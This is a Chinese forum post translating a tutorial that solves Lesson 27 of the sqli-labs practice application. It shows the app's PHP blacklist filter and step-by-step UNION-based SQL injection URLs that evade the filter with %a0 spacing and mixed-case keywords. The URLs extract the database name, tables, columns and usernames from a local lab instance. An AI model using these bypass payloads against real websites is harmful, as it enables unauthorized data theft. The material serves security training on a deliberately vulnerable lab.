首页
社区
课程
招聘
[翻译]如何手动绕过SQL注入过滤器?(三)
发表于: 2017-7-11 19:22 8876

[翻译]如何手动绕过SQL注入过滤器?(三)

2017-7-11 19:22
8876

Lesson 27

本节延续上一节(传送门)。难度愈发的大了,因为这次被过滤掉的有UNION/union,SELECT/select,空格和注释。还是老方法,寻找替代品来绕过它!

function blacklist($id)

$id=preg_replace('/[\/\*]/',"",$id);               //strip out /*

$id=preg_replace('/[-]/',"",$id);                   //strip out -

$id=preg_replace('/[#]/',"",$id);                  //strip out #

$id=preg_replace('/union/s',"",$id);           //strip out union

$id=preg_replace('/select/s',"",$id);           //strip out select

$id=preg_replace('/UNION/s',"",$id);        //strip out UNION

$id=preg_replace('/SELECT/s',"",$id);        //strip out SELECT

$id=preg_replace('/Union/s',"",$id);         //strip out Union

$id=preg_replace('/Select/s',"",$id);         //strip out Select


首先打开浏览器,输入http://localhost:81/sqli/Less-27/?id=1' AND'1=1(注:具体以个人配置为准)


由上图可以看出,空格被过滤掉了。

现在来看看如何绕过UNION/union,SELECT/select和空格过滤器:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,2,3%a0AND'1=1


由上图可以看出,显然我们成功了。(注:此图为译者所截,原文此处有误)

如果你已经明白了上面的方法,那么接下来开始获取数据库信息:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,database(),3%a0AND'1=1

由上图可以看出,数据库名为'security'。

接着来看看数据库中有哪些表:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0AND'1=1

由上图可以看出,当前的表名有:

T1: emails

T2: referers

T3: uagents

T4: users

接着来看看表users中有哪些列:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0AND'1=1

由上图可以看出,该表包含了三列,分别是:

C1: id

C2: username

C3: password

在本节的最后,一起来看看表users中的username有哪些:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,group_concat(username),3%a0from%a0users%a0where%a0'1=1


由上图可以看出,username有Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4。


小结:在第二十七节,我们学习了如何绕过UNION/union,SELECT/select,空格和注释过滤器来获取数据库中的信息。


相关文章:

如何手动绕过SQL注入过滤器?(一)

如何手动绕过SQL注入过滤器?(二)

SQL注入新手教程(第一部分)

SQL注入新手教程(第二部分)

一步步手动进行SQL注入

基于表单的SQL注入(手动)

使用OUTFILE导出数据库数据




原文链接:http://www.hackingarticles.in/bypass-filter-sql-injection-manually/

本文由 看雪翻译小组 hesir 编译


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (3)
雪    币: 297
活跃值: (235)
能力值: ( LV4,RANK:55 )
在线值:
发帖
回帖
粉丝
2
后面章节的原文在哪里呢,没翻到
2017-8-28 15:56
0
雪    币: 4
活跃值: (32)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
单引号被过滤的怎么绕
2017-9-6 21:50
0
雪    币: 7
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
所有的过滤  是否可以用  Base  64  编码  绕过呢?
2018-2-10 23:03
0
游客
登录 | 注册 方可回帖
返回
//